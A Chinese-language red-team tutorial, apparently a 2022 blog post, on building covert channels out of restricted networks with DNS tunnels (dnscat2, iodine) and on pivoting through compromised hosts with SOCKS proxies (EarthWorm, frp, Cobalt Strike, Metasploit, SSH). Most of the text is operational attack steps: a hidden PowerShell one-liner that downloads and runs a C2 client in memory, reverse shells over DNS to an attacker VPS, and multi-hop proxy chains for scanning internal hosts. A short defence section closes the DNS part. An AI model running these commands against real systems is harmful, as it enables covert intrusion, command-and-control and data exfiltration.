如果目标内网放行所有的DNS请求,dnscat2会使用直连模式,通过UDP53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有的域名都是以"dnscat"开头的,因此防火墙可以很容易地将直连模式的通信检测出来。

如果目标内网中的请求仅限于白名单服务器或者特定的域,dnscat2会使用中继模式来申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器

在网络安全攻防演练中,DNS隧道的应用场景如下:在安全策略严格的内网环境中,常见的C&C通信端口会被众多安全设备所监控,Red Team对目标内网的终端进行渗透测试,发现该网段只允许白名单流量出站,同时其他端口都被屏蔽,传统的C&C通信无法建立。在这样的情况下,一般会使用DNS隐藏隧道建立通信。

dnscat2通过DNS进行控制并执行命令,具有如下特点:

支持多个会话
流量加密
使用密钥防止MiTM攻击
在内存中直接执行powershell脚本
隐蔽通信

1、部署域名解析

在一台外网VPS服务器上安装Linux操作系统(作为C&C服务器),并提供一个可以配置的域名。

首先,创建记录A,将自己的域名解析服务器(ns.safebooks.[domain])指向VPS服务器(1xx.xxx.xxx.xxx),然后,创建NS记录,将dnsch子域名的解析结构指向ns.safebooks.[domain]

Image

第二行A类型的解析结果是:告诉域名服务器ns1.yokan.xxx地址为1xx.xxx.xxx.xxx 。第七行NS类型的解析结果是:告诉域名服务器cxx.yokan.xxx的地址为ns1.yokan.xxx。

为什么要设置NS类型的记录?因为NS类型的记录不是用于设置某个域名的DNS服务器的,而是用于设置某个子域名的DNS服务器的。

前面提到过,在进行DNS查询时,会查找本地TCP/IP参数中设置的首先DNS服务器(在此称为本地DNS服务器)。当该服务器收到查询请求(例如,请求a.ms08067.com)时,有如下两种情况:

​ a)如果该域名在本地配置区域资源中,则将解析结果返回客户机,完成域名解析。

​ b)如果解析失败,就向根服务器提出请求。根服务器发现该域名时.com域名,就会将请求交给.com域名服务器进行解析。.com域名服务器发现域名是.ms08067.com,就会将域名转交给.ms08067.com域名服务器,看看有没有这条记录。.ms08067.com域名服务器收到地址a.ms08067.com后,会查找它的A记录:如果有,就返回a.ms08067.com这个地址;如果没有,就在.ms08067.com域名服务器上设置一个NS类型的记录,类似"ms08067.com NS 111.222.333.444"(因为这里一般不允许设置为地址,所以需要在DNS服务器上先添加一条A记录,例如"ns.ms08067.com 111.222.333.444",再添加一条NS记录"ms08067.com NS ns.ms08067.com",并将IP地址111.222.333.444修改为指定的公网VPS的IP地址)。

安装后,需要测试一下域名解析是否设置成功。

输入"ping ns1.yokan.xxx",如下图,如果该命令能够执行,且显示的IP地址为1xx.xxx.xxx.xxx(VPS地址),说明第一条A类解析设置成功并已生效。

Image

接下来,在VPS服务器上进行抓包(端口53的UDP包),命令如下:

tcpdump -n -i eth0 udp dst port 53

输入如下命令

nslookup ***.yokan.***

Image

此时,查看VPS服务器上的抓包情况。如果抓到对域名cxx.yokan.xxx进行查询的DNS请求数据包,就说明第二条NS解析设置已经生效

Image

2、安装dnscat2服务端

在VPS服务器上安装dnscat2服务端。因为服务端是用Ruby语言编写的,所以需要配置Ruby环境。Kali Linux内置了Ruby环境,但在运行时可能缺少一些gem依赖包。使用Ubuntu服务器,运行如下命令进行安装

apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler
apt-get install git
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

Image

Image

接下来,执行如下命令,启动服务端

sudo ruby ./dnscat2.rb c**.yokan.*** -e open -c just_test --no-cache

如果采用的是直连模式,可以输入如下命令

sudo ruby ./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=just_test

以上命令表示监听本机的533端口,自定义连接密码为"just_test"

-c : 定义了“pre-shared secret”,可以使用具有预共享密钥的身份验证机制来防止中间人攻击。否则,因为传输的数据并未加密,所以可能被监听网络流量的第三方还原。如果不定义此参数,dnscat2会生成一个随机字符串(将其复制下来,在启动客户端时需要使用它)

-e : 规定安全级别。“open”表示服务端允许客户端不进行加密

--no-cache : 禁止缓存。务必在运行服务器时添加该选项,因为powershell-dnscat2客户端与dnscat2服务器的Caching模式不兼容。

Image

3、在目标主机上安装客户端

dnscat2客户端是使用C语言编写的,因此在使用前需要进行编译。在Windows中,可以使用VS进行编译;在Linux中,直接运行“make install”命令即可进行编译

在Linux中输入如下命令,在目标机器上安装dnscat2客户端

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

在本次测试中,目标机器的操作系统是Windows,因为可以直接使用编译好的Windows客户端https://downloads.skullsecurity.org/dnscat2/

服务端建立后,执行如下命令,测试客户端是否能与服务端通信

dnscat2-v0.07-client-win32.exe --ping c**.yokan.***

执行如下命令,连接服务端

dnscat2-v0.07-client.win32.exe --dns domain=c**.yokan.*** --secret just_test

如果客户端连接成功,会显示"Session established",这条信息。

如果服务端使用的是直连模式,可以直接填写服务端的IP地址(不通过DNS服务提供商),向dnscat2服务端所在的IP地址请求DNS解析,命令如下:

dnscat --dns server=<dnscat2 server ip>,port=533,type=TXT --secret=just_test

推荐使用powershell版本的dnscat2客户端

dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell)。

如果要使用dnscat2-Powershell脚本,目标Windows机器需要支持 :powershell2.0以上版本。

把脚本下载到目标机器中,执行如下命令:

Import-Module .\dnscat2.ps1

当然,也可以执行如下命令来加载脚本,下载地址见(https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1)

IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

加载脚本后,执行如下命令,开启dnscat2-powershell服务:

Start-Dnscat2 -Domain ***.yokan.*** -DNSServer 106.***.***.***

Image

输入如下命令,使用IEX加载脚本的方式,在内存中打开dnscat2客户端:

powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain c**.yokan.*** -DNSServer 106.***.***.***}

在客户端中运行dnscat2.ps1脚本之后,在服务器中可以看到客户端上线的提示:

Image

4、反弹shell

dnscat2服务端使用的是交互模式,所有的流量都由DNS来处理。dnscat2的使用方法和Metasploit类似。

客户端和服务端建立连接后,服务端处理交互模式,输入“Windows”或者“sessions"命令,可以查看当前的控制进程(每个连接都是独立的)

输入”window -i 1"或者“session -i 1"命令,进入目标主机,输入“help”命令,可以查看控制台支持的命令。

输入"shell”命令,打开另外一个会话,建立一个交互环境。可以输入cmd命令,进行查询

Image

Image

调用exec命令,可以远程打开程序。例如

exec notepad.exe

执行如下命令,创建一个控制台,然后可以执行powershell命令和脚本

exec psh

Image

dnscat2还提供了多域名并发的特性,可以将多个子域名绑定在同一个NS下,然后在服务端同时接收多个客户端连接,具体命令如下:

ruby dnscat2.rb --dns=port=53532 --security=open
start --dns domain=<domain.com>,domain=<doman.com>

iodine

碘的原子序数为53,而这恰好是DNS的端口号,故该工具被命名为"iodine"

iodine可以通过一台DNS服务器制造一个IPv4数据通道,特别适合在目标主机只能发送DNS请求的网络环境中使用。iodine是基于C语言开发的,分为服务端程序iodined和客户端程序iodine。kali中内置了iodine。 下载:https://github.com/Al1ex/iodine

(iodine相对于dnscat2来说,速度和稳定性都是在dnscat2之上的,因此建立DNS隧道,iodine这款工具是首选)

与同类工具相比,iodine有如下优点:

i)不会对下行数据进行编码
ii)支持多平台,Linux、Windows、BSD、Mac OS
iii)支持16个并发连接
iv)支持强密码机制
v)支持同网段隧道IP地址
vi)支持多种DNS记录类型
vii)提供了丰富的隧道质量检测措施

iodine支持直接转发和中继两种模式,其原理是:通过 TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP 建立一个虚拟网卡;两者通过 DNS 隧道连接,处于同—个局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块名为“dns0”的虚拟网卡。更多使用方法和功能特性,请参考iodine的官方文档:http://code.kryo.se/iodine

1、安装服务端

首先,设置域名。在这里要尽可能使用短域名(域名越短,隧道的带宽消耗就越小)。设置A记录iodine服务器的IP地址,将NS记录指向此域名

Image

接下来,在服务端中安装iodine。在Windows中,需要安装编译好的对应版本的iodine。在Kali Linux中,默认安装了iodine。如果使用的是基于Debian的发行版Linux,可以执行如下命令进行安装:

apt install iodine

Image

安装后,就可以使用如下命令运行iodine了

iodined -f -c -P just_test 192.168.0.1 ***.yokan.*** -DD

Image

-f :  在前台运行
-c :  禁止检查所有传入请求的客户端IP地址
-P :  客户端和服务器之间用于验证身份的密码
-D :  指定调试级别。 -DD指第二级。“D”的数量随等级增加

这里的192.168.0.1是自定义的局域网虚拟IP地址。完成基本配置后,可以通过iodine检查页面(https://code.kryo.se/iodine/check-it)检查配置是否正确

Image

如果配置无误却无法正常工作,需要检查服务端的防火墙配置情况。

2、安装客户端,并使用DNS隧道

​ 2-1)在Linux客户端机器上,只需要安装iodine客户端,命令如下:

apt install iodine
iodine -f -P just_test ***.yokan.*** -M 200
-r :  iodine有时可能会自动将DNS隧道切换为UDP通道,该参数的作用是强制在任何情况下使用DNS隧道
-M :  指定上行主机名的大小
-m :  调节最大下行分片的大小
-T :  指定所使用的DNS请求的类型,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A
-O :  指定数据编码规范
-L :  指定是否开启懒惰模式(默认为开启)
-I :  指定请求与请求之间的时间间隔

出现这个表明建立连接成功

Image

可以看到,客户端上多了一块dns0虚拟网卡

Image

并且可以看到路由规则上增添了192.168.0.0这个网段

Image

在VPS服务端上已经建立了连接

Image

使用DNS隧道:新启一个终端,我们尝试在VPS上远程连接目标机器,显示连接成功

Image

2-2)如果目标机器是Windows机器,因此需要下载编译好的Windows版本,同时,需要安装TAP网卡驱动程序。也可以下载OpenVPN,在安装时仅选择TAP-Win32驱动程序( 下载地址:https://swupdate.openvpn.org/community/releases/tap-windows-9.9.2_3.exe)。安装后,服务器上多了一块名为"TAP-Windows Adapter V9"的网卡

Image

然后我们接着下载iodine的windows客户端http://code.kryo.se/iodine/iodine-0.7.0-windows.zip

将iodine-0.7.0-Windows解压后,进入解压目录,输入如下命令,连接服务端

( 要以管理员的身份运行命令,我认为iodine唯一的缺点就是要高权限运行命令,可能要配合提权操作才能充分发挥iodine的作用)

iodine.exe -f -P just_test ***.yokan.***

Image

如果出现,如上图,“Connection setup complete, transmitting data.”的提示信息,就表示DNS隧道已经建立了。

此时,TCP over DNS已经建立了。在客户端执行"ping 192.168.0.1"命令,连接成功

Image

使用DNS隧道:DNS隧道的使用方法比较简单。由于客户端和服务器在同一个局域网中,只要直接访问即可。例如,登录目标主机的3389端口,就可以直接执行"rdesktop 192.168.0.2:3389"命令。同样,目标主机也可以通过SSH进行登录服务器

Image

Image

防御DNS隧道的方法

防御隧道攻击并非易事,特别是防御DNS隧道攻击。通过如下操作,能够防御常见的隧道攻击行为。

i)禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信
ii)虽然没有人会将TXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器/网关会这样做。因此,可以将邮件服务器/网关列入白名单并阻传人和传出流量中的TXT请求。
iii)跟踪用户的 DNS查询次数。如果达到阅值,就生成相应的报告
iv)阻止ICMP

SOCKS代理

常见的网络场景有如下三类:

i: 服务器在内网中 ,可以任意访问外部网络。

ii: 服务器在内网中 ,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接

iii:服务器在内网中,对外只开放了部分端口(如80),且服务器不能访问外部网络

常用SOCKS代理工具

SOCKS是一种代理服务,可以简单地将一端的系统连接另一端。SOCKS分为SOCKS4和SOCKS5:SOCKS4只支持TCP协议;SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口为1080。SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。

SOCKS代理可以理解为增强版的lcx 。

常见工具:

  • EarthWorm

EW是一套便携式的网络工具,具有SOCKS5服务架设和端口转发两个核心功能,可以在复杂的网络环境中实现网络穿透,https://github.com/rootkiter/EarthWorm https://codeload.github.com/idlefire/ew/zip/master

EW能够正向、反向、多级级联等方式建立网络隧道。EW工具包提供了多个可执行文件,以适用不同的操作系统 (Linux、Windows、Mac OS、ARM-Linux均包含在内)。

EW的新版本Termite,https://github.com/rootkiter/Termite

  • reGeorg

​ reGeorg的主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本地。

​ reGeorg可以使目标服务器在内网中连接内部开放端口。reGeorg利用webshell建立一个SOCKS代理进行内网穿透

  • neo-regeorg

    Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,加密以及规避一些特征检测

    https://github.com/L-codes/Neo-reGeorg

  • frp

    frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

    https://github.com/fatedier/frp

  • ssh

​ ssh不但可以做端口转发,也可以做socks代理,

  • metasploit、cobalt strike、冰蝎

​ msf、cs和冰蝎,也都提供了建立socks代理的功能

  • sSocks

​ sSocks支持SOCK5验证,支持IPv6和UDP,并提供反向SOCKS代理服务(将远程计算机作为SOCKS代理服务端反弹到本地)

  • SocksCap64

​ SocksCap64是一款在Windows环境中相当好用的全局代理软件,http://www.sockscap64.com/

SocksCap64可以使Windows应用程序通过SOCKS代理服务器来访问网络,而不需要对这些应用程序进行任何修改。即使是那些本身不支持SOCKS代理的应用程序,也可以通过SocksCap64实现代理访问

  • Proxifier

​ Proxifier也是一款非常好用的全局代理软件,https://www.proxifier.com/

​ Proxifier提供了跨平台的端口转发和代理功能,适用于Windows、Linux、macos平台

image-20220831170932752

  • ProxyChains

​ ProxyChains是一款可以在Linux下实现全局代理的软件,性能稳定、可靠,可以使任何程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4、SOCKS 5类型的代理服务器

http://proxychains.sourceforge.net/

  • SSTAP

https://sstap-beta.updatestar.com/edit

​ SSTAP是一款非常好用的Windows下的全局代理工具。通过在本地建立一个虚拟网卡,使得本地和目标在一个局域网中,因此可用自由访问目标。(只支持TCP协议)

image-20211213201231738

SOCKS代理技术在网络环境中的应用

EarchWorm的应用

EW有六种命令格式,分别是ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。ssocksd命令用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接,其他命令用于复杂网络环境的多级级联。

官方使用介绍:EarthWorm (rootkiter.com)

操作手册:

Image

测试环境:左侧有一个人计算机,为攻击者的计算机,位于攻击者的内网中,攻击者还有一台公网中的vps;右侧是一个受害内网,有三台机器,我们已经控制的web服务器有两个网卡,是连接外网和内网的关键节点,内网其他机器之间均不能直接连接。

Image

①正向SOCKS 5服务器

以下命令适用于目标机器拥有一个外网IP地址的情况, 如上图内网web服务器的模拟外网IP为192.168.1.7。在web服务器上面上传对应的ew程序并执行:

ew -s ssocksd -l 888

Image

这样,就在内网web服务器上面架设了一个端口为888的socks代理服务。接下来我们就可以设置proxychains或SocksCap64添加这个socks代理服务器(192.168.1.7)的代理即可。配置proxychains:

Image

打开内网Windows server 8的远程桌面:

proxychains4 rdesktop 192.168.52.138

②反弹SOCKS 5 服务器

适用于目标机器没有公网IP地址的情况具体如下:

Image

在攻击者公网vps上面上传ew_for_linux64并执行:

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

该命令的意思是,在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给1234端口

Image

接着,在内网web服务器(192.168.52.143)上传ew_for_Win.exe,并执行命令:

ew_for_Win.exe -s rssocks -d 39.xxx.xxx.210 -e 1234

该命令的意思是,在IP地址为192.168.52.143的服务器上启动SOCKS5 服务,然后反弹到公网IP地址为39.XXX.XXX.210的1234端口上

Image

最后返回公网VPS的命令行界面。可以看到反弹成功了:

Image

现在就可以在攻击者计算机上面配置proxychains或SocksCap64等工具通过访问公网vps(39.xxx.xxx.210)的1080端口来使用内网web服务器上面架设的socks代理服务了。

③二级网络环境(a)

适用于目标机器拥有一个外网IP地址的情况下。具体如下:

Image

右侧内网A主机有两个网卡,一个连接外网(192.168.1.7),另一个只能连接内网的B主机,但不能访问内网中的其他主机资源。B主机可以访问内网其他资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权。

我们先将ew上传至B主机上面,并用ssocksd方式启动1234端口的正向socks代理:

ew_for_Win.exe -s ssocksd -l 1234

Image

接着,将ew上传至A主机中,并执行命令:

ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.52.138 -g 1234

Image

该命令的意思是将A主机1080端口收到的代理请求转发给B主机(192.168.52.138)的1234端口。现在,我们就可以通过访问A主机的公网IP(192.168.1.7)的1080端口来使用架设在B主机上的socks代理服务了。

④二级网络环境(b)

刚才那个适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,我们该怎么办呢?

Image

如上图环境,A主机既没有公网IP,可以访问外网,不能访问内网其他主机资源,但可以访问内网B主机;内网B主机可以访问内网资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权

这里,我们不能像前一种情况那样通访问A主机来使用内网B主机上面架设的socks代理服务,可以通过访问vps来访问B主机上面架设的socks服务

我们先在公网vps上传ew,在公网vps上面添加转接隧道,监听1080端口,并将1080端口收到的代理请求发送给1234端口,执行命令:

ew_for_linux64 -s lcx_listen -l 1080 -e 1234

Image

然后将ew上传至内网B(192.168.52.138)主机,并利用ssocksd方式启动999端口的正向socks代理,执行命令:

ew_for_Win.exe -s ssocksd -l 999

Image

最后,将ew上传到内网A主机上,在A主机(192.168.52.143)上利用lcx_slave方式,将公网vps的1234端口与内网B主机(192.168.52.138)的999端口连接起来,执行命令:

ew_for_Win.exe -s lcx_slave -d 39.xxx.xxx.210 -e 1234 -f 192.168.52.138 -g 999

Image

此时,就可以设置proxychains等代理工具,通过访问公网vps的1080端口来使用架设在内网B主机上的socks代理服务了。

⑤三级网络环境

三级网络环境在渗透测试中比较少见,也比较复杂。下面详细讲解三级级联命令的用法:

测试环境为:右侧的内网A主机没有公网IP地址,但可以访问外网;B主机不能访问外网,但可以被A主机访问;C主机可被B主机访问,而且能够访问核心区域。

Image

在公网VPS上执行如下命令,将1080端口收到的代理请求转发给888端口:

ew -s rcsocks -l 1080 -e 888

在A主机上执行如下命令,将公网VPS的888端口和B主机的999端口连接起来

ew -s lcx_slave -d 139.xxx.xxx.113 -e 888 -f 10.48.128.12 -g 999

在B主机上执行如下命令,将999端口收到的代理请求转发给777端口

ew -s lcx_listen -l 999 -e 777

在C主机上启动SOCKS5服务,并反弹到B主机的777端口上

ew -s rssocks -d 10.48.128.12 -e 777

现在就可以通过访问公网VPS(139.XXX.XXX.113)的1080端口使用在C主机上架设的SOCKS 5代理了。

frp建立socks代理

frp的用法很多,这里仅简单介绍。

https://github.com/fatedier/frp

内网(墙内)运行 客户端:

frpc.exe -c frpc.ini

img

外网(墙外)运行 服务端:

frps.exe -c frps.ini

img

然后墙外用代理工具proxifier或者sockscap64或者proxychains等搭建socks代理, 127.0.0.1:8088

CobaltStrike建立socks代理

到已控目标机的Beacon下将socks代理开启

beacon > socks 1024 #端口根据VPS实际情况进行设置

image-20220205192335473

菜单栏中的 View > Proxy Pivots ,复制代理连接到Metasploit中,或直接将socks4a挂在相关安全工具(proxifier/proxychains..)中。

image-20220205192353633

Metasploit建立socks代理

针对metasploit的利用,只要sessions中的route可达,就可以直接进行多层网络渗透,更加方便。但主session掉,均掉!

在获取目标一个sessions 后,可以查看IP段信息并自动添加路由表。

msf5 exploit(multi/handler) > sessions 1
meterpreter > run get_local_subnets               //获取当前机器的所有网段信息
meterpreter > run autoroute -p                    //打印当前添加的路由表信息
meterpreter > run post/multi/manage/autoroute     //自动添加所有网段(可选)
meterpreter > run autoroute -s 172.17.0.0/24      //添加指定网段(可选)
meterpreter > run autoroute -p                    //再打印一下当前添加的路由表信息
meterpreter > background 
meterpreter > run autoroute -d -s 172.17.0.0/24   //删除指定的路由

image-20220205194815956

上述是在meterpreter权限中添加,或当知道目标路由表信息时,可在msf中直接添加

msf5 exploit(multi/handler) > route add 172.20.20.0/24 1 //session id 1
msf5 exploit(multi/handler) > route

这样就可以在metasploit进行内网渗透。如果想使用其他工具,则建立socks代理:

msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvport 1080
msf5 auxiliary(server/socks4a) > run -j

然后打开/etc/proxychains.conf (或者其他代理工具)

image-20220205195026728

SSH建立socks代理

SSH协议一节已经讨论过,这里再写一下,方便查阅

Image

攻击机上执行

#ssh -f -N -D bindaddress:port name@server    //bindaddress缺省值为本机

ssh -CfNg -D 6000 root@192.168.1.5

此条命令搭建了一个动态的SOCKS代理通道

输入web服务器密码后执行

netstat -untlp | grep ":6000"

查看连接情况

Image

可以看到,在使用动态映射时,本地主机的SSH进程正在监听6000端口。

动态端口映射就是建立一个SSH加密的SOCKS4/5代理通道。任何支持SOCKS/5协议的程序都可以使用这个加密通道进行代理访问。

在本地浏览器设置好SOCKS代理后可以访问到数据库服务器上开放的web服务

Image

Image

如果需要停止ssh 开启的socks代理,可以通过ps aux | grep ssh查看进程,杀掉运行的进程即可

使用Stowaway搭建多socks代理

https://www.freebuf.com/sectool/359841.html

《Stowaway轻松搭建多级网络代理.md》

在Windows下使用SocksCap64实现内网漫游

下载安装https://www.sockscap64.com/ ,以管理员权限打开程序(默认已经添加了浏览器)

Image

SocksCap64的使用方法比较简单,单机"代理"按钮,添加一个代理,然后设置代理服务器的IP地址和端口即可。设置完成后,可以单机界面上的闪电图标按钮,测试当前代理服务器是否可以连接

Image

选择浏览器,单机右键,在弹出的快捷菜单中单机"在代理隧道中运行选中程序"选项,就可以自由访问内网资源了。例如,访问192.168.111.156的80端口

Image

Image

尝试登录192.168.111.175的3389端口:

右键 添加一个EXE文件,找到mstsc.exe添加

Image

单机右键,在弹出的快捷菜单中单机"在代理隧道中运行选中程序"选项

Image

Image

在Linux下使用proxychains实现内网漫游

Kali linux中预装了proxychains,稍加配置就可以使用。打开终端,输入如下命令

vi /etc/proxychains.conf

在底部输入SOCKS代理信息,保存

Image

测试以下代理服务器是否能正常工作

proxyresolv www.baidu.com

Image

此时会显示“命令未找到”。在终端输入:

cp /usr/lib/proxychains3/proxyresolv /usr/bin

再次测试,显示‘OK',表示代理服务器已经正常工作了。

Image

现在就可以访问内网了。

先访问内网中的网站。在终端输入' proxychains firefox',启动火狐浏览器。 待浏览器打开即可访问内网中的网站:

Image

在每个工具前面加上 'proxychains' ,命令即可在内网中使用,例如一些扫描器

proxychains nmap 192.169.111.175
proxychains sqlmap -u 192.168.111.157

通过proxychains,Metasploit也可在内网中使用

输入如下命令,启动metasploit
proxychains msfconsole
即可正常在内网中使用

当然MSF,也可以通过设置 setg Proxies 命令,走socks代理 (推荐使用这个方法!!!)

image-20220905175506265

posted @ 2022-04-05 15:50  yokan  阅读(394)  评论(0编辑  收藏  举报